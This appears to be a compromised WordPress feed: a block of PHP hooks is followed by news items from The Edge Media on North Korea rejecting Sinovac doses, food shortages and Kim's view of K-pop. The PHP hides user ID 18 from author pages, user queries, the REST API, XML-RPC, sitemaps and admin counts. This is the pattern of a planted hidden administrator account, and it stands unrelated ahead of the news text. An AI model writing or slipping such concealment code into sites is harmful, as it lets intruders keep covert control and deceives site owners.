add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post North Korea rejects around three million doses of the Chinese Sinovac vaccine appeared first on The Edge Media.
]]>North Korea was the first country to impose strict nationwide lockdown and close its borders in January last year to stop the spread of coronavirus from neighbouring China where the virus first emerged. While the isolated country has not officially reported any Covid-19 case to the World Health Organization (WHO), analysts doubt the claim.
North Korea’s public health ministry “has communicated that the 2.97 million Sinovac doses being offered to DPR Korea by Covax may be relocated to severely affected countries in view of the limited global supply of Covid-19 vaccines and recurrent surge in some countries”, AFP quoted a spokesperson for Unicef as saying.
The public health ministry will continue to communicate with the COVAX facility to receive vaccines in the coming months, agencies reported quoting Unicef spokesperson.
In July, a South Korea think tank said that Pyongyang had also rejected shipments of AstraZeneca’s Covid-19 vaccine over safety concerns. Several Western countries had temporarily halted administering AstraZeneca’s vaccine after cases of blood clotting were reported in some people. But most of them resumed their vaccination campaign after the WHO and European medical agency insisted that the benefits outweigh the risk.
Institute for National Security Strategy (INSS), affiliated with South Korea’s spy agency, said in its report that Pyongyang was also not keen on Chinese vaccines due to concerns over their efficacy.
(With inputs from agencies)
The post North Korea rejects around three million doses of the Chinese Sinovac vaccine appeared first on The Edge Media.
]]>The post North Korea’s Faces Food Shortages Due To Fluctuating Exchange Rates And Commodity Prices appeared first on The Edge Media.
]]>After gradually increasing in the first few months of the year, China’s shipments to North Korea plummeted to $2.71 million in May, down from $28.75 million in April, dashing merchants’ expectations that more than a year of anti-coronavirus restrictions would soon be lifted.
North Korea is very isolated, making it difficult to determine the country’s status. However, rumors this week that North Korea’s greatest ally, China, intends to leave tight border restrictions in position for at least another year have put doubt on the country’s prospects.
The post North Korea’s Faces Food Shortages Due To Fluctuating Exchange Rates And Commodity Prices appeared first on The Edge Media.
]]>The post North Korea Leader Kim Jung-un Terms KPop As “Cancerous” appeared first on The Edge Media.
]]>State media in the North have warned that North Korea “would fall like a damp wall” because of increasing pop’s effect on youngsters, what it calls the “anti-socialist and non-socialist” effect.
Kim has seemed lately to have proclaimed South Korea war of culture, as the leader in North Korea feels that the popular South culture is influencing the youthful “appearances, haircuts, speeches and conduct.”
The post North Korea Leader Kim Jung-un Terms KPop As “Cancerous” appeared first on The Edge Media.
]]>